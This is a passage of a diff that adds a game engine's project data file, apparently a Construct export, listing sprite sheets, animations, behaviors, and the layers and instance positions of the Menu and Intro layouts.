+ 0
+ ],
+ [
+ "images/lasers-sheet0.png",
+ 21718,
+ 117,
+ 1,
+ 114,
+ 421,
+ 1,
+ 0.5,
+ 0.5011876225471497,
+ [],
+ [
+ -0.07017499208450317,
+ -0.5011876225471497,
+ 0.06140297651290894,
+ -0.5011876225471497,
+ 0.06140297651290894,
+ 0.4988123774528503,
+ -0.07017600536346436,
+ 0.4988123774528503
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "nopega",
+ 30,
+ true,
+ 1,
+ 0,
+ false,
+ 560265255721978,
+ [
+ [
+ "images/lasers-sheet0.png",
+ 21718,
+ 233,
+ 1,
+ 114,
+ 421,
+ 1,
+ 0.5,
+ 0.5011876225471497,
+ [],
+ [
+ -0.07017499208450317,
+ -0.5011876225471497,
+ 0.06140297651290894,
+ -0.5011876225471497,
+ 0.06140297651290894,
+ -0.4750594198703766,
+ -0.07017600536346436,
+ -0.4750594198703766
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 695216512917089,
+ [],
+ null
+ ],
+ [
+ "t548",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 779288397499102,
+ [
+ [
+ "images/regalo-sheet0.png",
+ 4366,
+ 0,
+ 0,
+ 61,
+ 60,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ [],
+ [
+ -0.1311476230621338,
+ -0.3333330154418945,
+ 0.1967213749885559,
+ -0.1333329975605011,
+ 0.2622953653335571,
+ 0.4666669964790344,
+ -0.3442625999450684,
+ 0.4666669964790344
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 245138324521833
+ ]
+ ],
+ false,
+ false,
+ 798801359195446,
+ [],
+ null
+ ],
+ [
+ "t549",
+ 12,
+ false,
+ [
+ 925168738079859
+ ],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 446840380851501,
+ [
+ [
+ "images/sprite353-sheet0.png",
+ 4211,
+ 0,
+ 0,
+ 61,
+ 60,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "Animation2",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 420331056037789,
+ [
+ [
+ "images/sprite353-sheet1.png",
+ 4173,
+ 0,
+ 0,
+ 61,
+ 60,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 278907054274781
+ ]
+ ],
+ false,
+ false,
+ 458158983056973,
+ [],
+ null
+ ],
+ [
+ "t550",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 259890943543775,
+ [
+ [
+ "images/sprite354-sheet0.png",
+ 4390,
+ 0,
+ 0,
+ 61,
+ 60,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 421863791129335
+ ]
+ ],
+ false,
+ false,
+ 978844240908469,
+ [],
+ null
+ ],
+ [
+ "t551",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/particles13.png",
+ 640,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 370150387025085,
+ [],
+ null
+ ],
+ [
+ "t552",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 822486619799959,
+ [
+ [
+ "images/sprite355-sheet0.png",
+ 1996,
+ 0,
+ 0,
+ 213,
+ 94,
+ 1,
+ 0.5023474097251892,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 296196942664813
+ ]
+ ],
+ false,
+ false,
+ 884535785180587,
+ [],
+ null
+ ],
+ [
+ "t553",
+ 12,
+ false,
+ [
+ 469861593302846
+ ],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "lleva",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 791523708038976,
+ [
+ [
+ "images/enemigo4-sheet0.png",
+ 10623,
+ 0,
+ 0,
+ 71,
+ 126,
+ 1,
+ 0.5070422291755676,
+ 0.4126984179019928,
+ [],
+ [
+ -0.47887322306633,
+ -0.4126984179019928,
+ 0.4225347638130188,
+ -0.4126984179019928,
+ 0.4225347638130188,
+ 0.5202325582504272,
+ -0.47887322306633,
+ 0.5202325582504272
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "nolleva",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 413677921134039,
+ [
+ [
+ "images/enemigo4-sheet1.png",
+ 6550,
+ 0,
+ 0,
+ 71,
+ 126,
+ 1,
+ 0.5070422291755676,
+ 0.4126984179019928,
+ [],
+ [
+ -0.47887322306633,
+ -0.4126984179019928,
+ 0.4225347638130188,
+ -0.4126984179019928,
+ 0.4225347638130188,
+ 0.5202325582504272,
+ -0.47887322306633,
+ 0.5202325582504272
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Platform",
+ 23,
+ 879822391304842
+ ]
+ ],
+ false,
+ false,
+ 509726672477944,
+ [],
+ null
+ ],
+ [
+ "t554",
+ 4,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 495470271282129,
+ [],
+ null,
+ [
+ "626cqutdhz4dhp5dgyebv4vkw5wmanch"
+ ]
+ ],
+ [
+ "t555",
+ 12,
+ true,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 784406565269779,
+ [],
+ null
+ ],
+ [
+ "t556",
+ 12,
+ true,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 215816013467562,
+ [],
+ null
+ ]
+ ],
+ [
+ [
+ 555,
+ 220,
+ 221,
+ 222
+ ],
+ [
+ 556,
+ 232,
+ 231
+ ]
+ ],
+ [
+ [
+ "Menu",
+ 800,
+ 480,
+ false,
+ "Menu",
+ 426014318824080,
+ [
+ [
+ "Background0",
+ 0,
+ 785796644948790,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ false,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 399,
+ 241,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 178,
+ 63,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1196,
+ 191,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 182,
+ 503,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background1",
+ 1,
+ 343420429091776,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Background2",
+ 2,
+ 792201100844787,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -159,
+ 1292,
+ 0,
+ 31.04940605163574,
+ 29.4969367980957,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ 0,
+ 0,
+ []
+ ],
+ 26,
+ 1566,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 3,
+ 255606378901264,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 755,
+ 384,
+ 0,
+ 264,
+ 489,
+ 0,
+ -0.1312427371740341,
+ 1,
+ 0.5681818127632141,
+ 0.9386503100395203,
+ 0,
+ 0,
+ []
+ ],
+ 545,
+ 6612,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ -6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 178.6665802001953,
+ 239.0634002685547,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 6611,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 206,
+ 108,
+ 0,
+ 338.1198120117188,
+ 158.6123962402344,
+ 0,
+ 0,
+ 1,
+ 0.5112359523773193,
+ 0.4790419042110443,
+ 0,
+ 0,
+ []
+ ],
+ 179,
+ 67,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 2,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -409.8315124511719,
+ 157.0936126708984,
+ 0,
+ 55.2059440612793,
+ 49.55987930297852,
+ 0,
+ 0,
+ 1,
+ 0.8181818127632141,
+ 0.5063291192054749,
+ 0,
+ 0,
+ []
+ ],
+ 388,
+ 773,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -75,
+ 102,
+ 0,
+ 61,
+ 62,
+ 0,
+ -1.221730709075928,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 405,
+ 1143,
+ [],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 450,
+ 1500,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -474,
+ 463,
+ 0,
+ 71,
+ 71,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 470,
+ 1142,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -222,
+ 216,
+ 0,
+ 47.48683929443359,
+ 47.48683929443359,
+ 0,
+ 0.9736071228981018,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 470,
+ 1144,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 641,
+ 415,
+ 0,
+ 319,
+ 189,
+ 0,
+ 0,
+ 1,
+ 0.5015674233436584,
+ 0.6455026268959045,
+ 0,
+ 0,
+ []
+ ],
+ 542,
+ 6608,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11,
+ 330,
+ 0,
+ 208,
+ 201,
+ 0,
+ 0.2175958901643753,
+ 1,
+ 0.5,
+ 0.8805969953536987,
+ 0,
+ 0,
+ []
+ ],
+ 544,
+ 6610,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -4,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12,
+ 491,
+ 0,
+ 264,
+ 352,
+ 0,
+ 0,
+ 1,
+ 0.2727272808551788,
+ 0.8778409361839294,
+ 0,
+ 0,
+ []
+ ],
+ 543,
+ 6609,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "UI",
+ 4,
+ 157919742391976,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -101,
+ 1,
+ 0,
+ 109.8452987670898,
+ 78.34005737304688,
+ 0,
+ 0,
+ 1,
+ 0.4716981053352356,
+ 0.3802816867828369,
+ 0,
+ 0,
+ []
+ ],
+ 6,
+ 79,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 386,
+ 0,
+ 135.207763671875,
+ 25.67899513244629,
+ 0,
+ 0,
+ 1,
+ 0.604651153087616,
+ 1.530612230300903,
+ 0,
+ 0,
+ []
+ ],
+ 116,
+ 47,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 677,
+ 451,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5087719559669495,
+ 0.6721311211585999,
+ 0,
+ 0,
+ []
+ ],
+ 117,
+ 55,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 211,
+ 309,
+ 0,
+ 123.4788665771484,
+ 52.98023223876953,
+ 0,
+ 0,
+ 1,
+ 0.5761589407920837,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 5,
+ 78,
+ [],
+ [
+ [
+ 1,
+ 6,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 772,
+ 23,
+ 0,
+ 44.18024063110352,
+ 39.7236442565918,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 304,
+ 164,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 880,
+ -72,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 4924,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 5,
+ 999116870153793,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Intro",
+ 800,
+ 480,
+ false,
+ "Menu",
+ 413800226480254,
+ [
+ [
+ "Background0",
+ 0,
+ 650897292185073,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ false,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 1196,
+ 191,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 182,
+ 166,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -18,
+ -11,
+ 0,
+ 834,
+ 513,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 162,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background1",
+ 1,
+ 925995657874186,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -933,
+ -301,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 3662,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background2",
+ 2,
+ 174883156528988,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -159,
+ 1292,
+ 0,
+ 31.04940605163574,
+ 29.4969367980957,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ 0,
+ 0,
+ []
+ ],
+ 26,
+ 1964,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 169,
+ 391,
+ 0,
+ 330.9380493164063,
+ 165.4690246582031,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 6808,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 785,
+ 356,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 6809,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 577,
+ 409,
+ 0,
+ 330.9380493164063,
+ 165.4690246582031,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 6810,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 620,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 6812,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399,
+ 335,
+ 0,
+ 128,
+ 128,
+ 0,
+ -1.570796489715576,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 551,
+ 6807,
+ [],
+ [],
+ [
+ 5,
+ 60,
+ 0,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 3,
+ 227230964992523,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 623,
+ 487,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 6815,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 238,
+ 644,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 6814,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11,
+ 380,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 6813,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 300.2185668945313,
+ 350.4096984863281,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 6816,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 110.3123474121094,
+ 349.3236083984375,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 6817,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 643.867431640625,
+ 349.4520263671875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 6818,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 788.0376586914062,
+ 350.2812805175781,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 6819,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 398,
+ 39,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 3876,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -409.8315124511719,
+ 157.0936126708984,
+ 0,
+ 55.2059440612793,
+ 49.55987930297852,
+ 0,
+ 0,
+ 1,
+ 0.8181818127632141,
+ 0.5063291192054749,
+ 0,
+ 0,
+ []
+ ],
+ 388,
+ 4917,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -75,
+ 102,
+ 0,
+ 61,
+ 62,
+ 0,
+ -1.221730709075928,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 405,
+ 5042,
+ [],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 450,
+ 1500,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -474,
+ 463,
+ 0,
+ 71,
+ 71,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 470,
+ 5043,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -222,
+ 216,
+ 0,
+ 47.48683929443359,
+ 47.48683929443359,
+ 0,
+ 0.9736071228981018,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 470,
+ 5044,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -13,
+ 387,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5051,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 79,
+ 387,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5052,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 171,
+ 387,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5168,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 263,
+ 387,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6095,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 354.3946838378906,
+ 386.9159240722656,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6103,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 446.3946838378906,
+ 386.9159240722656,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6780,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 538.3946533203125,
+ 386.9159240722656,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6783,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 630.3946533203125,
+ 386.9159240722656,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6784,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 721.2759399414062,
+ 386.7059631347656,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6787,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 813.2759399414062,
+ 386.7059631347656,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6788,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -13.17420196533203,
+ 481.651611328125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6793,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 78.5935287475586,
+ 481.651611328125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6794,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 170.7954711914063,
+ 481.651611328125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
